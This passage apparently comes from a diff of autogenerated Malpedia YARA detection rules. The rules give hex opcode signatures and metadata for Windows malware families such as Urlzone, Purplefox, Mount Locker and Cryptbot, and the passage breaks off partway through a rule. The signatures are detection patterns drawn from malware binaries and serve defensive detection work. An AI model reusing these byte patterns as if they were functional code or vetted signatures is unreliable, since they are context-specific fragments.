"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floxif_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "11a5ef4fb125e32dd68c79670f73b1f4916ce31a149e2ff34e91c4e49e4be013" + logic_hash = "ea5402045cc061612aa202cf5adc4c091c680ec32b64c798623434387b1d2b20" score = 75 quality = 75 tags = "FILE" @@ -125151,32 +124988,32 @@ rule MALPEDIA_Win_Mqsttang_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ebd4 ebf3 8d4dcc 89c3 e8???????? ebc6 ebe5 } - $sequence_1 = { f20f105dd8 f20f1065e0 f20f115db8 f20f1165b0 0f87a9000000 890c24 89d9 } - $sequence_2 = { ebec 8b95e4baffff 29ca 83fa02 0f8e87f7ffff 668b4004 6683f83d } - $sequence_3 = { eb0f f6c220 7413 8365081f 837d0801 7420 43 } - $sequence_4 = { ff15???????? 891c24 89442404 89c6 c745d402000000 c745d800000000 c745dc00000000 } - $sequence_5 = { eb16 8b5604 83c301 8b4208 8b4a0c 29c1 39d9 } - $sequence_6 = { f0832a01 742b 8b542420 8b0a 85c9 7451 83f9ff } - $sequence_7 = { f0832801 0f84231b0000 8b4588 8b4010 8b10 85d2 0f84f01a0000 } - $sequence_8 = { c7042400000000 b903000000 ba21000000 89d8 e8???????? 85c0 0f84db000000 } - $sequence_9 = { e8???????? 8985bcfeffff e9???????? 8b4508 8b95fcfeffff 8b4874 8b85f8feffff } + $sequence_0 = { 837dfc05 7e02 eb0d 68a00f0000 ff15???????? } + $sequence_1 = { eb09 8b45a8 83c001 8945a8 8d4dc0 e8???????? 3945a8 } + $sequence_2 = { 68???????? 8d4de0 e8???????? 68???????? b9???????? e8???????? 6a00 } + $sequence_3 = { e8???????? 8d4d08 51 8d4de4 e8???????? c645f400 } + $sequence_4 = { 51 8b55f4 52 8b45fc 50 6aff 8b4d08 } + $sequence_5 = { 837df800 7e68 8b45f8 83c001 50 6a00 8d8d4cffffff } + $sequence_6 = { c6855fffffff94 c68560ffffff92 c68561ffffffe1 c6458c00 c6458d00 c6458e72 } + $sequence_7 = { e8???????? e8???????? 83c410 682c010000 ff15???????? e8???????? 83ec10 } + $sequence_8 = { 83c40c 8b5510 52 8b450c c1e004 8b4d08 03c8 } + $sequence_9 = { 7629 a1???????? 0305???????? 8b4d0c 3981b8000000 7313 } condition: - 7 of them and filesize < 12651520 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Afrodita_Auto : FILE +rule MALPEDIA_Win_Urlzone_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0b89d48b-e8eb-5aec-a4a1-cb25be8e6ea8" + id = "4dd4d8e5-7756-57be-8ce5-a21c7832bb2c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.afrodita_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urlzone_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "ba96a282578cd431adb4de4c63175081873626ab508dce847aa3397ecdd6e0da" + logic_hash = "c42481bd862ad161fd4e6a711568aaf0139280c4a77d4d9855a08ac723543c9d" score = 75 quality = 75 tags = "FILE" @@ -125190,34 +125027,34 @@ rule MALPEDIA_Win_Afrodita_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff75dc e8???????? 83c40c 84c0 0f84aa030000 } - $sequence_1 = { 52 53 ff7508 8b4004 c645fc01 8b4c3038 8b01 } - $sequence_2 = { e8???????? 83c404 c645fc09 8d8d6cffffff ff75a0 e8???????? 83e3df } - $sequence_3 = { 6a7d 8d4d80 53 e8???????? e9???????? 83ff4d 0f8443010000 } - $sequence_4 = { 33c8 8b45f0 3345e4 23c7 8b7ddc 3345e4 03c8 } - $sequence_5 = { 837d1000 8b10 0f444d10 51 56 } - $sequence_6 = { 2345e4 03ca 3345f4 03c1 8945e4 85db 7437 } - $sequence_7 = { 51 8d4b04 ff5008 68???????? 50 8d45c0 c745fc00000000 } - $sequence_8 = { 7445 833d????????00 743c 56 6a10 8d45ec 50 } - $sequence_9 = { e8???????? eb05 e8???????? 83c404 8b9564ffffff 399560ffffff 8bb568ffffff } + $sequence_0 = { 55 8bec 81c4e8fbffff 53 56 57 8b4514 } + $sequence_1 = { 8910 33c0 8943e4 c745fcffffffff eb1f 46 83c340 } + $sequence_2 = { 83fbff 0f8420070000 6a00 53 e8???????? 8945f8 } + $sequence_3 = { 50 e8???????? 6a00 6a00 2df1000000 50 8b06 } + $sequence_4 = { 6a00 56 6a00 6802000001 6a00 53 } + $sequence_5 = { 85c0 7c04 85d2 7d02 33c9 8bc1 c3 } + $sequence_6 = { 50 e8???????? b001 e8???????? 68???????? 68???????? e8???????? } + $sequence_7 = { c6041000 bf01000000 8db36cfeffff 8b06 85c0 7438 } + $sequence_8 = { bb???????? 8b45f8 50 8d8577ffffff 50 } + $sequence_9 = { 7435 e9???????? 56 8d85effdffff } condition: - 7 of them and filesize < 2334720 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Miuref_Auto : FILE +rule MALPEDIA_Win_Purplefox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1b96c0a2-4f7f-5dba-b4cc-c39446b366ca" + id = "a13fd35f-ff4a-5d50-9b5d-b24cdc4536ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miuref_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplefox_auto.yar#L1-L381" license_url = "N/A" - logic_hash = "9f0c33a604555481ceaef6b71f9838cb9fae83fec546a9a4bdc6479d8cf9ac8a" + logic_hash = "19db2fd8d55e9f90545cae61363b7c1883764c9fb7fb14f78b3fa3d087d84046" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -125229,32 +125066,62 @@ rule MALPEDIA_Win_Miuref_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b750c 81fe00020000 7204 33c0 eb73 53 bb00200000 } - $sequence_1 = { e8???????? 59 b9???????? 3b01 7445 83c104 81f9???????? } - $sequence_2 = { 50 ff742418 e8???????? ff742420 8bf0 56 e8???????? } - $sequence_3 = { 8d45a8 83ec58 50 e8???????? ff7510 8d45a8 ff750c } - $sequence_4 = { 8d45cc 50 ff15???????? 8b45fc 8b08 50 ff9180000000 } - $sequence_5 = { e8???????? ff75f4 e8???????? 8b45e8 83c418 } - $sequence_6 = { 7704 50 51 eb27 837d1400 750c 57 } - $sequence_7 = { 3bc3 7320 894508 8b450c 8b4d08 8d4c08c1 56 } - $sequence_8 = { e8???????? 59 6a00 8bf0 8d45fc 50 57 } - $sequence_9 = { e8???????? 53 e8???????? 33f6 56 e8???????? } + $sequence_0 = { 8b15???????? 53 8a1d???????? 6a01 8906 } + $sequence_1 = { 8945f4 3bc7 740d 8b7308 } + $sequence_2 = { c1fa05 c1e006 030495000c4100 eb05 b8???????? f6400420 } + $sequence_3 = { 85c0 7912 488b8d90010000 ff15???????? e9???????? 488b8d98010000 4533c9 } + $sequence_4 = { 8bcf e8???????? e9???????? 488d0df6200000 ff15???????? 488b3b } + $sequence_5 = { 6800000010 8d45f8 bf40020000 50 c745c018000000 895dc4 } + $sequence_6 = { 488d4e1c 33d2 41b801010000 e8???????? 4c8d546d00 4c8d1db0920000 49c1e204 } + $sequence_7 = { 66b8f230 8b4500 f9 f9 e9???????? } + $sequence_8 = { ff15???????? 488d542440 488d0dca110000 4c8bc6 ff15???????? 488d4c2440 41b001 } + $sequence_9 = { 57 4883ec60 48c7442440feffffff 48899c2488000000 } + $sequence_10 = { 8b7de8 56 8d8dacfbffff 51 8d55b0 52 } + $sequence_11 = { 8da42400000000 8038ff 750b 80780175 7505 385802 7409 } + $sequence_12 = { c9 49 3658 8a3f 3658 7642 } + $sequence_13 = { 4889442430 488b05???????? c644242800 488b08 ba00020000 48894c2420 } + $sequence_14 = { ff15???????? 8bf0 85f6 7914 56 68???????? ffd3 } + $sequence_15 = { ebcf 8bc6 c1f805 8b0485000c4100 83e61f c1e606 8d443004 } + $sequence_16 = { 35fd937dd3 43 d0f2 2f 4a 87cd } + $sequence_17 = { 448bc6 442bc0 488b442450 488d0d4b7e0000 488b0cc1 } + $sequence_18 = { 56 12581a 887ea4 3d0b3a08c2 } + $sequence_19 = { 83c408 6a00 51 ff15???????? 8bf0 } + $sequence_20 = { 51 e8???????? 83c404 8b5704 68???????? } + $sequence_21 = { 81e900202200 be100000c0 0f84ec020000 83e904 0f8486010000 83e904 } + $sequence_22 = { 3918 0f4c18 3bcb 0f8d87000000 488d3dd7b70000 ba58000000 488bcd } + $sequence_23 = { 9c 60 c64424043e f5 } + $sequence_24 = { 488b4c2470 ff15???????? 488b8d08040000 ff15???????? } + $sequence_25 = { 57 56 6a0b ffd3 3d040000c0 750d } + $sequence_26 = { 85c0 790a 8b4df8 ffd3 e9???????? } + $sequence_27 = { 58 773d 33f9 13c9 } + $sequence_28 = { e8???????? 33ff 33c0 8945f4 8945f0 8945f8 8b450c } + $sequence_29 = { c740e40d000000 8b55f8 8950e8 8b4660 } + $sequence_30 = { 488d4c2420 33d2 4889442420 8b05???????? } + $sequence_31 = { 4883f83c 7647 498bcd e8???????? 4c8d05436c0000 41b903000000 488d4c45bc } + $sequence_32 = { 488b4b08 ff15???????? c70300000000 4883c420 5b c3 } + $sequence_33 = { 4883c202 668941fe 6685c0 75ec 488b7e08 4883c9ff 33c0 } + $sequence_34 = { 4883ec20 488bd9 e8???????? 4c8d1d17a10000 } + $sequence_35 = { ff15???????? 4839442470 0f85b3000000 488d542460 488bce ff15???????? 85c0 } + $sequence_36 = { e9???????? 660fb6d1 f9 8b5504 c0c107 d2e9 } + $sequence_37 = { 57 f361 634cea1c bc2cedefeb 59 fb 7fab } + $sequence_38 = { 7506 50 e9???????? 8b55ec } + $sequence_39 = { 56 68???????? ff15???????? 83c408 8bc6 5e 8be5 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 1983488 } -rule MALPEDIA_Win_Powershellrunner_Auto : FILE +rule MALPEDIA_Win_Downex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6a02b05b-5544-5fd8-bda1-2b73877e66ff" + id = "780df1d0-772a-58a4-934d-63bed6bd9744" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powershellrunner_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downex_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "150515a586587c1b339d21af473c6cacdf2854e2b8551085b1787b23d2cc9d35" + logic_hash = "2787ed485caccd79e05aaa2383aa816bb0e34ab86d11b61c935876204e99082a" score = 75 quality = 75 tags = "FILE" @@ -125268,34 +125135,34 @@ rule MALPEDIA_Win_Powershellrunner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c684243e02000036 c684243f02000014 c684244002000031 c684244102000031 } - $sequence_1 = { 488bd3 488d0d0f440200 e8???????? 33c9 85c0 480f44cb } - $sequence_2 = { 488d4c2450 e8???????? ba05000000 488d4c2448 e8???????? ba06000000 } - $sequence_3 = { b872000000 6689842452010000 b872000000 6689842454010000 b865000000 6689842456010000 } - $sequence_4 = { 8b442440 8b4c2444 03c8 8bc1 8bc8 ff15???????? 8b442424 } - $sequence_5 = { 488d4c2428 e8???????? 89442420 837c242000 7418 } - $sequence_6 = { 4889442428 eb1c 488b442420 4883c002 4889442420 488b442428 4883c002 } - $sequence_7 = { 4c8b442438 488d542420 488d4c2460 e8???????? 0fb6c0 85c0 7415 } - $sequence_8 = { 7363 488bf3 4c8d351b770100 83e63f 488beb 48c1fd06 48c1e606 } - $sequence_9 = { 488bc8 e8???????? 4c8d442440 488bd0 488b4c2448 e8???????? 488b842490000000 } + $sequence_0 = { 0fb6443b47 4b 2bf0 8d0440 8d0c82 8b84b7ec000000 8901 } + $sequence_1 = { ffb0d8f24700 e8???????? 83c40c 85c0 7419 46 8d0476 } + $sequence_2 = { e8???????? 8d8d58fdffff e8???????? 8b4da4 83c148 8d4601 50 } + $sequence_3 = { 297e04 83c40c 013e 017e08 8b4e04 83560c00 017e10 } + $sequence_4 = { eb2c b9???????? eb25 b9???????? eb1e 3ddec0c5b0 7412 } + $sequence_5 = { 7214 83c123 8b50fc 2bc2 83c0fc 83f81f 0f87d3030000 } + $sequence_6 = { ff7508 e8???????? 83c414 33d2 85c0 b900100000 0f44d1 } + $sequence_7 = { 85c0 0f85a0050000 f6872802010010 0f8407010000 8b8eb4000000 8bd1 68b5070000 } + $sequence_8 = { 50 e8???????? 68???????? 6aff ffb5f0feffff e8???????? 8bb5f8feffff } + $sequence_9 = { e8???????? 83c410 eb1f 81e7ffffdfff f7c200002000 7411 8d45e4 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 1067008 } -rule MALPEDIA_Win_Batel_Auto : FILE +rule MALPEDIA_Win_Bootwreck_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce5297ec-2628-56fe-90d3-14a58de70bd5" + id = "c86e0360-3c55-5b68-af4c-6642481fbd38" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batel_auto.yar#L1-L219" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bootwreck_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "be5c7cfc92fc63831f946ba5608b114c38a6759dff1e1a478b017b493c38ecb1" + logic_hash = "a7d19ddda34fd585dce842e8452aa3b90378f4a99b150c5642a8436fb2a84d1d" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -125307,43 +125174,32 @@ rule MALPEDIA_Win_Batel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 5b c21000 3b0d???????? 7502 } - $sequence_1 = { eb35 a1???????? 81b80000230050450000 75eb b90b010000 66398818002300 } - $sequence_2 = { 7412 ffd0 56 ffd3 68005c2605 ffd5 47 } - $sequence_3 = { 8bec 81eca0020000 68ee020000 ff15???????? 689d020000 } - $sequence_4 = { 85f6 7422 68???????? 56 ff15???????? 85c0 7412 } - $sequence_5 = { 57 6a40 6800100000 689e020000 } - $sequence_6 = { 68005c2605 ffd5 47 83ff5a 7ccd 5f 5e } - $sequence_7 = { 55 8b2d???????? 56 57 68a00f0000 ffd5 8b1d???????? } - $sequence_8 = { 33c9 b8???????? 8a10 88940d60fdffff } - $sequence_9 = { 6868212300 e8???????? 33db 895de4 8d4594 50 ff15???????? } - $sequence_10 = { 8935???????? 68d0202300 68c4202300 e8???????? 59 59 } - $sequence_11 = { 66a5 ffd0 5f 5e } - $sequence_12 = { e9???????? 6894152300 e8???????? a1???????? c704242c302300 ff35???????? } - $sequence_13 = { ff15???????? 689d020000 8d8561fdffff 6a00 50 } - $sequence_14 = { 50 c68560fdffff00 e8???????? 83c40c 33c9 } - $sequence_15 = { 41 3d???????? 7cec 56 57 } - $sequence_16 = { 8b1d???????? bf01000000 8d642400 68???????? ff15???????? 8bf0 85f6 } - $sequence_17 = { c745fc00000000 6800002300 e8???????? 83c404 85c0 } - $sequence_18 = { 689e020000 6a00 ff15???????? 8bf8 b9a7000000 8db560fdffff f3a5 } - $sequence_19 = { c3 8bff 56 b858212300 be58212300 57 } - $sequence_20 = { 7419 ffd0 56 ffd3 68404c5827 ff15???????? 47 } + $sequence_0 = { 9e 3ec9 307dd6 14cc 7466 d59d } + $sequence_1 = { c60424de 57 9c 875c242c ff742404 54 9c } + $sequence_2 = { fd 7919 87c1 0e d9574e 6d 7db2 } + $sequence_3 = { 8b8020334500 c60424ef 60 8d8090b42a7f 8d642434 0f8f702c0000 687b1f6def } + $sequence_4 = { 660fb6db 89f3 660fbef1 5e 660fce 8b742440 88442404 } + $sequence_5 = { 70e8 32ff 46 33e2 41 2eb910b0f8ab 828dc6785b1254 } + $sequence_6 = { e8???????? f6d2 8b5620 60 9c ff742404 89542424 } + $sequence_7 = { 60 e7c6 45 14bb aa 11fe 1d0a3b6a57 } + $sequence_8 = { b6d1 0206 82535e09 3909 a6 ae 57 } + $sequence_9 = { 660fb6c9 660bf9 0fb7cf 8b7d10 894d0c 2acb 32c8 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 10821632 } -rule MALPEDIA_Win_Nautilus_Auto : FILE +rule MALPEDIA_Win_Amtsol_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "77d46a5b-ac0a-5fed-b7dc-730469f1a198" + id = "10cd2a6a-97cd-5bbf-a2de-d51937233e16" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nautilus_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amtsol_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "75449a89b7fb4754deadb905e528b81ef0ad7c932b9a665933340397cfc77449" + logic_hash = "f41e59806427fb3074e56403dfc0119ba4416aa791cb2055a2846e43c19529c3" score = 75 quality = 75 tags = "FILE" @@ -125357,32 +125213,32 @@ rule MALPEDIA_Win_Nautilus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? eb0b 0f28ce 488bcb e8???????? 660f2efe 7a02 } - $sequence_1 = { e8???????? 410fb7445c0a 498bce 0fb61406 448b0487 e8???????? 410fb7445c0c } - $sequence_2 = { e9???????? 413bfc 0f84c7000000 41be20000000 eb09 413bfc 0f84b6000000 } - $sequence_3 = { f20f5ccd eb08 f20f59ce f20f58ce 4885d2 7407 0f570d???????? } - $sequence_4 = { eb19 443bc3 7f14 c1e917 4103c8 3bd9 7f0a } - $sequence_5 = { 85c0 751b 488d4b18 8d5001 e8???????? 85c0 750b } - $sequence_6 = { 7459 41ffca 740a b800bfffff 4883c458 c3 488b842498000000 } - $sequence_7 = { 7520 488d7eff 488d55b0 488d4dc8 4885ff 756b e8???????? } - $sequence_8 = { 83f815 0f842b010000 83f816 74ba 83f817 745e 7e3c } - $sequence_9 = { 7424 bafeffff7f 33c9 e8???????? 8bcb 8bd0 488b4730 } + $sequence_0 = { 8bec 83ec20 53 56 8b7508 33db 3bf3 } + $sequence_1 = { 035e24 8945fc 8b45f8 8d9c1839d0d4d9 53 e8???????? 8b4df0 } + $sequence_2 = { 836d1010 8b7d10 83e810 8bf0 a5 a5 } + $sequence_3 = { 50 8d4de4 e8???????? 84c0 7418 8d4de4 e8???????? } + $sequence_4 = { c6451054 c6451172 c6451261 c645136e c6451473 c6451566 } + $sequence_5 = { 3d01010000 7d0d 8a4c181c 8888b82b4200 40 ebe9 } + $sequence_6 = { 53 e8???????? 0345fc 8b4df0 8945f8 8b45f4 } + $sequence_7 = { 50 e8???????? 59 50 ff7604 e8???????? 83c41c } + $sequence_8 = { 33cb 030e 8d840878a46ad7 50 e8???????? 0345fc } + $sequence_9 = { 83c040 50 e8???????? 83c40c 8bc6 5e c3 } condition: - 7 of them and filesize < 1302528 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Putabmow_Auto : FILE +rule MALPEDIA_Win_Auriga_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "91e8d589-44ec-5d63-963b-4d5831e9d035" + id = "34318cf5-8b0c-5480-b67c-27a4f4ec96e2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.putabmow_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.auriga_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "b27fa1335b6a432b3b5508ab17de3d0a99cf669e0fc066f733c76db90efddfc9" + logic_hash = "916cc30b11a1636c868f6de19248b0e5c25381e64e7d76c56c161fbf71269000" score = 75 quality = 75 tags = "FILE" @@ -125396,32 +125252,32 @@ rule MALPEDIA_Win_Putabmow_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6200 3100 680032006f 0033 0010 0035???????? 007b00 } - $sequence_1 = { e8???????? c645fc06 8b467c 89477c 8b8680000000 898780000000 8b8684000000 } - $sequence_2 = { 32db c78424200b000021000000 8b442418 a802 } - $sequence_3 = { c1f905 83e107 094828 8a5201 f6c204 7404 83482810 } - $sequence_4 = { 3901 61 0039 016200 3f 016300 3f } - $sequence_5 = { 8b4df8 8bd6 ff75e8 57 ff75f0 6a00 50 } - $sequence_6 = { 8d8c24b0070000 ff30 e8???????? c68424200b00004c 8d8424e0000000 50 8d8c24f8040000 } - $sequence_7 = { c684249404000000 84db 0f8493010000 f7462800004000 8d5618 7502 8b12 } - $sequence_8 = { 3bf1 7608 89442420 2bf1 eb02 33f6 8b4314 } - $sequence_9 = { 888630977300 46 ebe5 a1???????? 83c9ff f00fc108 7513 } + $sequence_0 = { 59 59 8945fc 897df8 763a } + $sequence_1 = { 83c10c 894df4 8b11 3b15???????? 755b 8bd0 2b55fc } + $sequence_2 = { ffd7 33c0 8985c0fbffff 8985ccfbffff 8985d0fbffff 8d85bcfbffff } + $sequence_3 = { 33c0 83c40c 8d7dec ab ab 33c0 6a20 } + $sequence_4 = { 59 648b01 8b400c 8b701c ad 8b4008 } + $sequence_5 = { 742d 8b430c 8b580c 53 ffd7 84c0 7420 } + $sequence_6 = { 8b0d???????? 03c1 3900 74f0 8b15???????? 56 } + $sequence_7 = { 59 59 8945fc 897df8 763a 8b45e8 03c7 } + $sequence_8 = { 0f8ce7010000 8d85e8f9ffff 50 8d85e0f9ffff } + $sequence_9 = { 8945e8 a1???????? 8b1c30 8bfb 8d45f0 8d5001 8a08 } condition: - 7 of them and filesize < 704512 + 7 of them and filesize < 75776 } -rule MALPEDIA_Win_Mount_Locker_Auto : FILE +rule MALPEDIA_Win_Advisorsbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2052c543-cb18-5d1a-a87c-7c9ba4a04469" + id = "47285543-3eed-5a34-ac06-14b7c71920ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mount_locker_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.advisorsbot_auto.yar#L1-L155" license_url = "N/A" - logic_hash = "9773bfd51e99f33a259a570fd66a0ee2d45575bac793a3c37128b45245a677af" + logic_hash = "69dc9add5b159b8414559d7edfb0ea4fa61745cf82bdc631ece400efa0729506" score = 75 quality = 75 tags = "FILE" @@ -125435,40 +125291,41 @@ rule MALPEDIA_Win_Mount_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 498be8 4d8bc8 4c8bc2 4c8bf2 } - $sequence_1 = { f30f5905???????? 0f5ad0 66490f7ed0 e8???????? } - $sequence_2 = { 8bc8 81e10000ffff 81f900000780 7503 0fb7c0 3d2e050000 } - $sequence_3 = { 488b0b 41b902000000 4533c0 33d2 } - $sequence_4 = { 488d4df0 4889442428 4533c9 4533c0 } - $sequence_5 = { 4c8bc2 4c8bf2 8bf1 33d2 33c9 } - $sequence_6 = { 4c8b05???????? 488bcb 488b15???????? e8???????? } - $sequence_7 = { 4533c9 488b4c2458 33d2 c744243001000000 c744243c02000000 } - $sequence_8 = { ff15???????? 85c0 7509 f0ff05???????? } - $sequence_9 = { 7505 e8???????? 833d????????00 7409 833d????????00 } - $sequence_10 = { 7423 488b0d???????? 4885c9 7417 488364242000 4c8d4c2468 } - $sequence_11 = { 57 ff15???????? 8bd8 85db 7442 } - $sequence_12 = { 66894df8 668945f4 56 56 } - $sequence_13 = { 8b7c2414 8b35???????? bd???????? 8b15???????? 8bde 03df 89542414 } - $sequence_14 = { c3 6aff ff7508 e8???????? 68???????? } - $sequence_15 = { 59 59 5f 5e 33c0 5d } + $sequence_0 = { 8bc1 2bc2 d1e8 03c2 c1e808 } + $sequence_1 = { 8bc2 33d2 c1e809 f7f1 } + $sequence_2 = { 8bc2 33d2 c1e808 f7f1 } + $sequence_3 = { b89b01a311 f7e1 2bca d1e9 03ca } + $sequence_4 = { b80923ed58 f7e1 8bc1 2bc2 } + $sequence_5 = { d1e8 03c2 33d2 c1e809 } + $sequence_6 = { 8bc2 c1e809 33d2 f7f1 } + $sequence_7 = { d1e9 03ca c1e907 2bc1 } + $sequence_8 = { d1e9 03ca c1e909 33c8 } + $sequence_9 = { d1e9 03ca 33d2 c1e908 } + $sequence_10 = { 8b442408 8b4c2408 33d2 f7f1 } + $sequence_11 = { 8bc2 33d2 c1e804 f7f1 } + $sequence_12 = { 5e 5d 0fb7c1 5b } + $sequence_13 = { 8b442414 8b4c2414 33d2 f7f1 } + $sequence_14 = { 668b4c2410 5f 5e 5d } + $sequence_15 = { 0fb7c0 0fb7c9 33d2 f7f1 } + $sequence_16 = { 0fb7c1 0fb7ca 33d2 f7f1 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Noxplayer_Auto : FILE +rule MALPEDIA_Win_Cryptbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52c2d792-4208-534f-9752-70135571b141" + id = "c80588a6-d143-5e79-9f26-778ded8c5ced" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.noxplayer_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptbot_auto.yar#L1-L256" license_url = "N/A" - logic_hash = "39f8c0f5aeb72bc127d7da1eaa9ec4c91ef0378727bf180400ab0a14310839c7" + logic_hash = "a7dadf34e757866bd3311ff7a46036d085711fdb75a64818e7cbce0bd5b48b23" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -125480,32 +125337,52 @@ rule MALPEDIA_Win_Noxplayer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 4883ec20 488b7968 488d05833a0300 488bd9 488901 4885ff } - $sequence_1 = { 33db 48391d???????? 488bf8 0f85d5000000 488d0d6fc70000 ff15???????? } - $sequence_2 = { 488d15757f0200 48894c2420 4885c9 7419 483901 750f 488b4108 } - $sequence_3 = { 488b742450 488bc3 4883c440 5b c3 488d542430 4533c9 } - $sequence_4 = { 49c7430801000000 8b530c 85d2 743e 660f1f440000 448d42ff 41d1f8 } - $sequence_5 = { eb06 488bd8 488b00 80782900 74e8 483b5908 } - $sequence_6 = { 4c8be8 0fb6465c 84c0 0f8553040000 4533e4 488b4e50 e8???????? } - $sequence_7 = { 742b 488bcf e8???????? 483b3d???????? 741a 488d05354c0200 483bf8 } - $sequence_8 = { 4c8d4204 e8???????? eb78 488b4f50 498bd4 488b01 ff5040 } - $sequence_9 = { 41390424 745d 807b1d00 754a 488b4310 80781d00 7520 } + $sequence_0 = { 33c0 85ed 0f94c0 8be8 } + $sequence_1 = { 760f b990ec0000 e8???????? e9???????? } + $sequence_2 = { e9???????? b949dc0000 e9???????? b944dc0000 e9???????? b964dc0000 } + $sequence_3 = { 7f0a 83fd1e 7f05 83ff13 } + $sequence_4 = { eb0c b99fed0000 e8???????? 8907 } + $sequence_5 = { 